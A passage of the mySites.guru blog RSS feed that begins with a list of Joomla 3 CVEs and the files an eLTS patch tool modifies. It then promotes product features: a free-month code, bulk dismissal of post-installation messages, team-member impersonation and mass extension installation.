&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-27184&quot;&gt;CVE-2024-27184&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/941-20240801-core-inadequate-validation-of-internal-urls.html&quot;&gt;Inadequate validation of internal URLs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-27185&quot;&gt;CVE-2024-27185&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/942-20240802-core-cache-poisoning-in-pagination.html&quot;&gt;Cache poisoning in pagination&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21723&quot;&gt;CVE-2024-21723&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/926-20240202-core-open-redirect-in-installation-application.html&quot;&gt;Open redirect in installation application&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-21722&quot;&gt;CVE-2024-21722&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/925-20240201-core-insufficient-session-expiration-in-mfa-management-views.html&quot;&gt;Insufficient session expiration in MFA management views&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-40626&quot;&gt;CVE-2023-40626&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/919-20231101-core-exposure-of-environment-variables.html&quot;&gt;Exposure of environment variables&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-40749&quot;&gt;CVE-2024-40749&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/956-20250103-core-read-acl-violation-in-multiple-core-views.html&quot;&gt;Read ACL violation in multiple core views&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-22213&quot;&gt;CVE-2025-22213&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/961-20250301-core-malicious-file-uploads-via-media-manager.html&quot;&gt;Malicious file uploads via Media Manager&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-25226&quot;&gt;CVE-2025-25226&lt;/a&gt; - &lt;a href=&quot;https://developer.joomla.org/security-centre/963-20250401-framework-sql-injection-vulnerability-in-quotenamestr-method-of-database-package.html&quot;&gt;SQL injection in the quoteNameStr method of the database package&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;eLTS bug-fix-for-bug-fix patches&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Fixes in 3.10.19-elts that &lt;a href=&quot;https://github.com/PhilETaylor/Joomla3.10.999/pull/12/files&quot;&gt;repair broken code shipped in 3.10.18-elts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Fixes in 3.10.18-elts that &lt;a href=&quot;https://github.com/PhilETaylor/Joomla3.10.999/pull/11/files&quot;&gt;repair broken code shipped in 3.10.17-elts&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How Do Patched Files Show Up in Audits?&lt;/h2&gt;
&lt;p&gt;After patching, your mySites.guru audit will flag the modified files as Core File Changes, because they &lt;em&gt;are&lt;/em&gt; changes to the original 3.10.12 distribution. You can inspect every diff directly in the audit tool.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Which Files Does the Patch Modify?&lt;/h2&gt;
&lt;p&gt;The tool patches 59 files: a mix of PHP files (the actual security fixes) and XML form definitions (tighter input validation). You need both. Changing the XML alone isn&apos;t enough.&lt;/p&gt;

Full list of patched files (59 files)
&lt;ul&gt;
&lt;li&gt;administrator/components/com_config/model/form/application.xml&lt;/li&gt;
&lt;li&gt;administrator/language/en-GB/en-GB.com_config.ini&lt;/li&gt;
&lt;li&gt;components/com_content/views/archive/view.html.php&lt;/li&gt;
&lt;li&gt;components/com_finder/views/search/view.html.php&lt;/li&gt;
&lt;li&gt;components/com_search/views/search/view.html.php&lt;/li&gt;
&lt;li&gt;libraries/src/Cache/Cache.php&lt;/li&gt;
&lt;li&gt;libraries/src/Pagination/Pagination.php&lt;/li&gt;
&lt;li&gt;administrator/components/com_banners/models/forms/banner.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_categories/models/forms/category.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_contact/config.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_contact/models/forms/contact.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_content/models/forms/article.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_fields/models/forms/field.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/item_alias.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/item_component.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/item_heading.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/item_separator.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/item_url.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/itemadmin_alias.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/itemadmin_component.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/itemadmin_container.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/itemadmin_heading.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_menus/models/forms/itemadmin_url.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_newsfeeds/models/forms/newsfeed.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_tags/models/forms/tag.xml&lt;/li&gt;
&lt;li&gt;administrator/components/com_users/models/user.php&lt;/li&gt;
&lt;li&gt;administrator/language/en-GB/en-GB.lib_joomla.ini&lt;/li&gt;
&lt;li&gt;administrator/templates/hathor/templateDetails.xml&lt;/li&gt;
&lt;li&gt;administrator/templates/isis/templateDetails.xml&lt;/li&gt;
&lt;li&gt;components/com_content/models/forms/article.xml&lt;/li&gt;
&lt;li&gt;components/com_tags/views/tag/tmpl/default.xml&lt;/li&gt;
&lt;li&gt;components/com_tags/views/tag/tmpl/list.xml&lt;/li&gt;
&lt;li&gt;components/com_tags/views/tags/tmpl/default.xml&lt;/li&gt;
&lt;li&gt;components/com_users/models/profile.php&lt;/li&gt;
&lt;li&gt;components/com_users/views/login/tmpl/default.xml&lt;/li&gt;
&lt;li&gt;components/com_wrapper/views/wrapper/tmpl/default.xml&lt;/li&gt;
&lt;li&gt;includes/framework.php&lt;/li&gt;
&lt;li&gt;libraries/cms/html/string.php&lt;/li&gt;
&lt;li&gt;libraries/fof/download/adapter/cacert.pem&lt;/li&gt;
&lt;li&gt;libraries/src/Form/Rule/UrlRule.php&lt;/li&gt;
&lt;li&gt;libraries/src/Http/Transport/cacert.pem&lt;/li&gt;
&lt;li&gt;libraries/src/Language/LanguageHelper.php&lt;/li&gt;
&lt;li&gt;libraries/src/Uri/Uri.php&lt;/li&gt;
&lt;li&gt;libraries/vendor/joomla/filter/src/InputFilter.php&lt;/li&gt;
&lt;li&gt;libraries/vendor/joomla/filter/src/OutputFilter.php&lt;/li&gt;
&lt;li&gt;modules/mod_custom/mod_custom.xml&lt;/li&gt;
&lt;li&gt;modules/mod_wrapper/mod_wrapper.xml&lt;/li&gt;
&lt;li&gt;plugins/user/profile/profile.php&lt;/li&gt;
&lt;li&gt;templates/beez3/templateDetails.xml&lt;/li&gt;
&lt;li&gt;templates/protostar/templateDetails.xml&lt;/li&gt;
&lt;li&gt;components/com_privacy/controller.php&lt;/li&gt;
&lt;li&gt;components/com_privacy/privacy.php&lt;/li&gt;
&lt;li&gt;components/com_users/controller.php&lt;/li&gt;
&lt;li&gt;components/com_users/users.php&lt;/li&gt;
&lt;li&gt;modules/mod_menu/tmpl/default.php&lt;/li&gt;
&lt;li&gt;administrator/components/com_media/controllers/file.php&lt;/li&gt;
&lt;li&gt;libraries/joomla/database/driver.php&lt;/li&gt;
&lt;li&gt;libraries/src/Helper/ModuleHelper.php&lt;/li&gt;
&lt;li&gt;plugins/content/pagebreak/pagebreak.php&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Why Does Joomla 3 Still Matter?&lt;/h2&gt;
&lt;p&gt;Joomla 3 is still everywhere. &lt;a href=&quot;https://w3techs.com/technologies/details/cm-joomla/3&quot;&gt;W3Techs&lt;/a&gt; shows version 3 running on the majority of Joomla installations, and Joomla&apos;s own &lt;a href=&quot;https://developer.joomla.org/about/stats.html&quot;&gt;usage statistics&lt;/a&gt; put 3.10.x at over 35% of reporting sites.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you run a &lt;a href=&quot;https://mysites.guru/&quot;&gt;digital agency&lt;/a&gt;, you already know: migrating clients from Joomla 3 to 4 or 5 takes budget, developer time, and client sign-off. That doesn&apos;t happen overnight, and the sites still need protecting in the meantime.&lt;/p&gt;
&lt;h2&gt;What Is the Joomla 3.10.999 Project?&lt;/h2&gt;
&lt;p&gt;The patches in mySites.guru come from the open-source &lt;a href=&quot;https://github.com/PhilETaylor/Joomla3.10.999&quot;&gt;Joomla 3.10.999 project&lt;/a&gt;. That repo has every Joomla 3.10 version from 3.10.12 onwards, plus diffs for all patches released under the commercial eLTS programme.&lt;/p&gt;
&lt;p&gt;Same approach as the earlier &lt;a href=&quot;https://github.com/PhilETaylor/Joomla1.5.999&quot;&gt;Joomla 1.5.999&lt;/a&gt; and &lt;a href=&quot;https://github.com/PhilETaylor/Joomla2.5.999&quot;&gt;Joomla 2.5.999&lt;/a&gt; repos. It&apos;ll be maintained for as long as Joomla 3 sites exist.&lt;/p&gt;
&lt;h2&gt;Stop patching files by hand&lt;/h2&gt;
&lt;p&gt;If you&apos;re still running Joomla 3, stop tracking CVEs by hand. Add your sites to mySites.guru, flip the toggle, and get on with your day.&lt;/p&gt;
&lt;p&gt;The broader picture of securing Joomla and WordPress sites is covered in the &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt;. For Joomla-specific agency workflows, see the &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;Start your free trial →&lt;/a&gt;&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>joomla 3</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-10.DY15Sc6F.webp" length="0" type="image/webp"/></item><item><title>How to get mySites.guru for free - for a whole month!</title><link>https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/</guid><description>Apply the FIRSTMONTHFREE code to the unlimited-sites mySites.guru plan and cancel before your first renewal to use the full service free for a whole month.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru costs &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;£19.99/month&lt;/a&gt;, the same price since 2012, with no per-site fees. But I&apos;d rather you try it properly before paying anything.&lt;/p&gt;
&lt;p&gt;The free trial only covers a single audit of one site. A few of you have asked for a way to test the rest of it: bulk updates, security scans, uptime monitoring, backups. Those are the basics, but &lt;a href=&quot;https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/&quot;&gt;real site management covers a lot more&lt;/a&gt;. So here it is.&lt;/p&gt;
&lt;p&gt;You have to enter this plan code yourself when you subscribe - it isn&apos;t applied automatically. Do that and you won&apos;t be charged until next month. Full access, unlimited sites, everything included.&lt;/p&gt;
&lt;p&gt;Two things to know. The code only works on the fully unlimited-sites plan at £19.99/month, not the £5.00 One Site Only subscription. And you can use it once, ever. mySites.guru isn&apos;t a disposable service to spin up and throw away for a free month at a time - most people who join stay for years, and plenty have been with me for over a decade.&lt;/p&gt;
&lt;div&gt;
  &lt;a href=&quot;https://manage.mysites.guru/en/subscription/plans?plancode=FIRSTMONTHFREE&quot;&gt;
    ✂️ FIRSTMONTHFREE
  &lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;You are starting an auto-renewing subscription though. You&apos;ll need to enter payment details.&lt;/p&gt;
&lt;div&gt;
  &lt;strong&gt;No risk:&lt;/strong&gt; Cancel before your renewal date and you won&apos;t be charged a penny. If you don&apos;t cancel, your subscription renews at the standard rate of £19.99/month.
&lt;/div&gt;
&lt;p&gt;Steps to get started:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to &lt;a href=&quot;https://manage.mysites.guru&quot;&gt;mySites.guru&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Go to the Subscribe page&lt;/li&gt;
&lt;li&gt;Enter the plan code &lt;code&gt;FIRSTMONTHFREE&lt;/code&gt; and click &lt;strong&gt;Apply Code&lt;/strong&gt; - the free month only applies once you&apos;ve entered it&lt;/li&gt;
&lt;li&gt;Review the proposed plan - it should be the unlimited-sites plan, free for the first month&lt;/li&gt;
&lt;li&gt;Click &lt;a href=&quot;https://manage.mysites.guru/en/subscribe?plancode=FIRSTMONTHFREE&quot;&gt;Subscribe now&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Enter your payment card details&lt;/li&gt;
&lt;li&gt;Done - welcome on board!&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Questions? Drop me a line at &lt;a href=&quot;mailto:phil@phil-taylor.com&quot;&gt;phil@phil-taylor.com&lt;/a&gt; and I&apos;ll get back to you quickly.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>pricing</category><category>free trial</category><enclosure url="https://mysites.guru/_astro/firstmonthfree.BCn5A5MG.webp" length="0" type="image/webp"/></item><item><title>How to Hide Joomla Post Installation Messages</title><link>https://mysites.guru/blog/how-to-hide-joomla-post-installation-messages-on-1000-sites-with-one-click-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-hide-joomla-post-installation-messages-on-1000-sites-with-one-click-with-mysites-guru/</guid><description>Dismiss Joomla post-installation messages on every connected site at once using the mySites.guru bulk action - no need to log into each site individually.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla&apos;s &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Help39:Components_Post_installation_Messages&quot;&gt;Post Installation Messages&lt;/a&gt;&lt;/strong&gt; are useful on one site. When you&apos;re &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;managing thousands of Joomla sites&lt;/a&gt;, clearing them one by one gets old fast. mySites.guru lets you dismiss them across all your sites at once.&lt;/p&gt;
&lt;h2&gt;What is a Joomla Post Installation Message?&lt;/h2&gt;
&lt;p&gt;Joomla 3.2 added a feature called &quot;&lt;a href=&quot;https://docs.joomla.org/Help39:Components_Post_installation_Messages&quot;&gt;Post Installation Messages&lt;/a&gt;&quot;.&lt;/p&gt;
&lt;p&gt;Post Installation Messages are used by the Joomla Project - and some extension developers - to convey important information to you after upgrading your Joomla Site or installing a Joomla extension.&lt;/p&gt;
&lt;p&gt;In the past they have been used to bring your attention to backward incompatible security changes, changes you need to manually make to your .htaccess, advice to enabled Two factor authentication etc...&lt;/p&gt;
&lt;p&gt;The messages are often dynamic and can make checks before showing. For example the Two Factor Authentication Post Installation Message will check to see if you have the plugins enabled before being shown.&lt;/p&gt;
&lt;p&gt;The idea is that you are meant to read, consume, understand and apply any suggestions in the Post Installation Messages - and then click to hide them forever (they remain in the database and can be &quot;reverted&quot; to show them again.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What Happens When You Have 1000 Sites?&lt;/h2&gt;
&lt;p&gt;When you have &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;1000 Joomla sites to manage&lt;/a&gt;, visiting each one to clear the same messages after every update is impractical.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; already has tools to allow you to &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;manage 1000s of Joomla sites in one place&lt;/a&gt;, to &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup&lt;/a&gt;, to &lt;a href=&quot;https://mysites.guru/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel/&quot;&gt;snapshot&lt;/a&gt; and to &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit&lt;/a&gt; for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacks&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice&lt;/a&gt; - and one of those tools will show you how many Post Installation Messages are unread.&lt;/p&gt;
&lt;p&gt;One of our tools will list your sites by this metric:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;As you can see this account has loads of unread Post Installation Messages across many sites.&lt;/p&gt;
&lt;h2&gt;How Do You Dismiss Them All in One Click?&lt;/h2&gt;
&lt;p&gt;Click the green button:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;A few seconds later, all Post Installation Messages are cleared on every site:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Where do I find this?&lt;/h2&gt;
&lt;p&gt;You need a mySites.guru subscription. &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;Pricing&lt;/a&gt; hasn&apos;t changed since 2012, and you can get your &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;first month free&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once you&apos;re a subscriber, &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;add your Joomla sites to your dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Then, from the Manage Site page, find the Joomla Post Installation Messages tool:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;and then click on the Pivot Button that looks like this:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;This was one of our most requested features after we started tracking this metric in the mySites.guru snapshot.&lt;/p&gt;
&lt;p&gt;Post Installation Messages are genuinely useful - on the first site. After that, you&apos;ve read them, and they&apos;re essentially identical across all your sites. Joomla 4 made this worse by showing the alert on &lt;strong&gt;every page&lt;/strong&gt; of the admin:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;mySites.guru clears the flag across &lt;strong&gt;all your sites at once&lt;/strong&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Bulk Joomla admin tasks are part of our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>site management</category><category>bulk actions</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-14.Cdtr4XFK.webp" length="0" type="image/webp"/></item><item><title>How to impersonate your mySites.guru team members</title><link>https://mysites.guru/blog/how-to-impersonate-your-mysites-guru-team-members/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-impersonate-your-mysites-guru-team-members/</guid><description>Account owners can impersonate any team member inside mySites.guru to review their view and permissions without needing to share passwords.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;After announcing &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;Team Management for mySites.guru&lt;/a&gt;, we added impersonation - one of the most useful features for account owners running a team.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;As the Team Captain (the person paying!) &lt;strong&gt;You can now Impersonate your Team Members&lt;/strong&gt;, logging in as them, without their credentials, to access their account and see what they are seeing, then &lt;strong&gt;Exit Impersonation&lt;/strong&gt; back to your own account without any login/logout.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Find out more by watching this introduction video by &lt;a href=&quot;https://twitter.com/basicjoomla&quot;&gt;Tim&lt;/a&gt; on his &lt;a href=&quot;https://www.youtube.com/channel/UCjdzrGX4xpJ_9PAfUuNDC4A&quot;&gt;Basic Joomla Tutorials Channel&lt;/a&gt;&lt;/p&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;p&gt;For a deeper look at Teams Management, watch this video by Tim:&lt;/p&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;p&gt;Impersonation works on every team member role, including the &lt;a href=&quot;https://mysites.guru/blog/accountant-portal-invoice-access/&quot;&gt;Accountant Portal&lt;/a&gt; if you ever need to see exactly what your bookkeeper sees.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Team tools like this are covered in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>teams</category><category>site management</category><category>workflow</category><enclosure url="https://mysites.guru/_astro/how-to-impersonate-your-mysites-guru-team-members.CQsbFaZT.png" length="0" type="image/png"/></item><item><title>Install Extensions to Multiple Joomla Sites</title><link>https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/</guid><description>Push a Joomla extension install to hundreds of sites simultaneously from the mySites.guru dashboard, with full success and failure notifications per site.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The mySites.guru Mass Installer Tool installs an extension across multiple Joomla (or WordPress) sites in one go, so you don&apos;t have to log into each one.&lt;/p&gt;
&lt;h2&gt;What Is the Mass Plugin Installer for Joomla and WordPress?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/@Basicjoomla&quot;&gt;Tim Davis of Basic Joomla&lt;/a&gt; walks through the tool in this video:&lt;/p&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;ℹ️ Interface update&lt;/p&gt;
  &lt;p&gt;This video was filmed before the February 2024 interface refresh. Some screens and menus may look different, but the workflow is the same.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How Do You Install or Update a Joomla Extension?&lt;/h2&gt;
&lt;p&gt;You can use mySites.guru to &lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;mass install a Joomla extension&lt;/a&gt; zip file to hundreds of your connected sites right from your dashboard.&lt;/p&gt;
&lt;h2&gt;How Do You Install a WordPress Plugin Across All Your Sites?&lt;/h2&gt;
&lt;p&gt;Same tool, same workflow. Select your &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;connected WordPress sites&lt;/a&gt;, upload a plugin zip or paste a URL, and you&apos;re done.&lt;/p&gt;
&lt;h2&gt;Steps to mass install a plugin or extension&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt; - Upload a plugin zip file or provide the URL you want to install from.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt; - Select the sites you want to install to. You can pick individual sites or select all connected sites at once.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Results per site&lt;/h2&gt;
&lt;p&gt;mySites.guru installs the plugin on all selected sites with no further interaction needed. You&apos;ll get a per-site report showing which installs succeeded and which need attention.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;When Should You Use the Mass Installer?&lt;/h2&gt;
&lt;p&gt;The obvious case is deploying the same extension everywhere, but there are a few scenarios where it really pays off:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Emergency security patches: a critical vulnerability drops and you need every site patched before someone exploits it. Doing this one site at a time when you manage 50+ sites isn&apos;t realistic. The &lt;a href=&quot;https://mysites.guru/blog/joomla-tinymce-firefox-148-fix/&quot;&gt;Joomla TinyMCE Firefox 148 bug&lt;/a&gt; is a perfect example - one hotfix package pushed to every affected site in minutes.&lt;/li&gt;
&lt;li&gt;Rolling out a custom plugin: if you maintain a bespoke plugin for client sites, the mass installer is the fastest way to push a new version.&lt;/li&gt;
&lt;li&gt;Standardising your stack: moving all clients onto the same backup plugin or security tool? Upload the zip once and push it everywhere.&lt;/li&gt;
&lt;li&gt;Replacing a deprecated extension: when a plugin gets abandoned or delisted, you can mass-install the replacement across every affected site in one batch.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Can You Install by URL or Zip File?&lt;/h2&gt;
&lt;p&gt;You can either upload a zip file directly or paste a URL that points to one. The URL option is handy when the extension host provides a direct download link - you don&apos;t need to download it to your machine first.&lt;/p&gt;
&lt;p&gt;For Joomla extensions, this works with anything you&apos;d normally install through the Joomla Extension Manager: components, plugins, modules, templates, and language packs. For WordPress, it handles any standard plugin zip.&lt;/p&gt;
&lt;h2&gt;How Do You Filter Sites Before You Install?&lt;/h2&gt;
&lt;p&gt;You don&apos;t always want to install to every connected site. The mass installer lets you pick individual sites from your list, but there&apos;s a quicker way if you&apos;re targeting a specific group.&lt;/p&gt;
&lt;p&gt;Use the &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;Extensions management feature&lt;/a&gt; to search for sites that already have a particular extension installed. For example, if you want to update Akeeba Backup on every site that already has it, search for &quot;Akeeba&quot; in the extensions list, then click &quot;filter by these&quot; - the mass installer pre-selects only those sites.&lt;/p&gt;
&lt;p&gt;This is particularly useful when you&apos;re updating rather than doing a fresh install. No point pushing a plugin to sites that don&apos;t use it.&lt;/p&gt;
&lt;h2&gt;What happens if an install fails?&lt;/h2&gt;
&lt;p&gt;mySites.guru reports back per site. If a site is unreachable, has permissions issues, or the install itself errors out, you&apos;ll see it in the results. The other installs aren&apos;t affected - each site is processed independently.&lt;/p&gt;
&lt;p&gt;Common reasons for failures:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Site is offline or unreachable at the time of install&lt;/li&gt;
&lt;li&gt;PHP memory or execution time limits too low for the package size&lt;/li&gt;
&lt;li&gt;File permissions preventing writes to the plugin directory&lt;/li&gt;
&lt;li&gt;The site&apos;s connection to mySites.guru has expired and needs reconnecting&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can retry failed sites individually or run the mass install again with just those sites selected.&lt;/p&gt;
&lt;h2&gt;Combining mass installs with bulk updates&lt;/h2&gt;
&lt;p&gt;The mass installer and &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk updates&lt;/a&gt; solve different problems. Bulk updates handle version upgrades for extensions already installed on your sites. The mass installer pushes a specific zip to sites that may not have the extension at all.&lt;/p&gt;
&lt;p&gt;A typical workflow: use the mass installer to deploy a new extension across your portfolio, then use bulk updates going forward to keep it current as new versions come out.&lt;/p&gt;
&lt;h2&gt;Supported platforms&lt;/h2&gt;
&lt;p&gt;The mass installer works with both Joomla and WordPress sites connected to mySites.guru. There&apos;s no limit on how many sites you can target in a single batch - if you&apos;ve got 500 sites connected, you can install to all 500 at once.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free site audit&lt;/a&gt; to connect your first site and try the mass installer yourself.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Bulk extension deployment is a key workflow in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>extensions</category><category>bulk actions</category><category>site management</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-8.03nRPytu.webp" length="0" type="image/webp"/></item><item><title>Manage and Monitor Any PHP App with mySites.guru</title><link>https://mysites.guru/blog/how-to-manage-and-monitor-any-php-application-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-manage-and-monitor-any-php-application-with-mysites-guru/</guid><description>The mySites app works with any PHP-based web application, not just WordPress and Joomla. Connect any PHP site to get security audits, snapshots, and alerts.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru isn&apos;t just for Joomla and WordPress. You can add, manage, audit, back up and monitor &lt;strong&gt;any webspace that can run PHP&lt;/strong&gt;.&lt;/p&gt;
